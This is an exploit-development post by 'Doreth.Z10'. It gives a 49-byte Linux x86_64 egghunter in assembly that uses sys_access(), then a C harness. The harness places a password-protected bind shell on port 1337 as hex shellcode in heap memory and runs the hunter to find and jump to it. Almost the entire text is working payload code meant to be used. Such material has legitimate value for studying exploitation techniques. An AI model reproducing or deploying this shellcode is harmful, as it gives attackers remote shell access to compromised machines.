; Author Doreth.Z10
;
; Linux x86_64 Egghunter using sys_access()
; Shellcode size 49 bytes
;
global _start
section .text
_start:
xor rsi, rsi ; Some prep junk.
push rsi
pop rdx
push 8
pop rbx
go_end_of_page:
or dx, 0xfff ; We align with a page size of 0x1000
next_byte:
inc rdx ; next byte offset
push 21
pop rax ; We load access() in RAX
push rdx
pop rdi
add rdi, rbx ; We need to be sure our 8 byte egg check does not span across 2 pages
syscall ; syscall to access()
cmp al, 0xf2 ; Checks for EFAULT. EFAULT indicates bad page access.
jz go_end_of_page ; if EFAULT, try next page
; --
; Put your won egg here !
mov eax, 0xBEBDBEBD ; Egg contruction so we dont catch ourself !
not eax ; Important, EGG must contain NOP like instruction bytecode.
; --
mov rdi, rdx
scasd
jnz next_byte ; if egg does not match, try next byte
cmp eax, [rdi]
jnz next_byte ; if egg does not match, try next byte
jmp rdi ; Good, found egg. Jump !
; Important, EGG must contain NOP like instruction bytecode.
;
; Egghunter demonstration
;
; bindshell is pushed in the heap using a malloc() call and pre-pended with the egg. Then egghunter is fired.
;
; Depending on size of the malloc() call, binshell can be anywhere in the address space.
; For a big malloc() size like 1 000 000 bytes, it will be placed far in the address space.
; A malloc(1000000) was tested on a Unbuntu system with Inter Core i7 and it took over 9 hrs for the egghunter
; to find the egg.
;
; Enjoy.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char egg[] =
"YOUR EGG HERE 4 bytes";
// In this example we use a password protected binshell on port 1337: pAzzW0rd
unsigned char bindshell[] =
"\xeb\x09\x48\x31\xff\x48\xf7\xe7\x57\x5e\xc3\x55\x48\x89\xe5\xe8\xee\xff\xff\xff\x04\x29\x40\x80\xc7\x02\xff\xc6\x0f\x05\x50\xe8\xde\xff\xff\xff\x04\x31\x48\x8b\x3c\x24\x56\x81\xc6\x03\x01\x05\x39\x66\x81\xee\x01\x01\x56\x48\x89\xe6\x80\xc2\x10\x0f\x05\xe8\xbe\xff\xff\xff\x04\x32\x48\x8b\x7d\xf8\x0f\x05\xe8\xb1\xff\xff\xff\x04\x2b\x48\x8b\x7d\xf8\x48\x89\xe6\x80\xc2\x18\x52\x48\x89\xe2\x0f\x05\x49\x89\xc0\xe8\x97\xff\xff\xff\x4c\x89\xc7\x40\x80\xec\x18\x48\x89\xe6\x80\xc2\x18\x0f\x05\x48\xb8\x70\x41\x7a\x7a\x57\x30\x72\x64\x48\x89\xe7\x48\xaf\x75\x42\x48\x31\xc0\x4c\x89\xc7\x48\x31\xf6\x40\x80\xc6\x02\x04\x21\x0f\x05\x48\x31\xc0\x04\x21\x48\xff\xce\x75\xf4\x0f\x05\xe8\x55\xff\xff\xff\x50\x04\x3b\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x41\x50\x48\x89\xe7\x52\x48\x89\xe2\x57\x48\x89\xe6\x48\x89\xec\x5d\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05";
unsigned char egghunter[] =
"\x48\x31\xf6\x56\x5a\x6a\x08\x5b\x66\x81\xca\xff\x0f\x48\xff\xc2\x6a\x15\x58\x52\x5f\x48\x01\xdf\x0f\x05\x3c\xf2\x74\xea\xb8\xbd\xbe\xbd\xbe\xf7\xd0\x48\x89\xd7\xaf\x75\xe2\x3b\x07\x75\xde\xff\xe7";
main()
{
char *heap = (char*)malloc(1000000);
memset(heap, '\0', 512);
strncpy(heap, egg, 4);
strncpy(heap+4, egg, 4);
strncpy(heap+8, bindshell, 212);
printf("Egghunter Length: %d\n", strlen(egghunter));
printf("Shellcode Length: %d\n", strlen(bindshell));
int (*ret)() = (int(*)())egghunter;
ret();
return 0;
}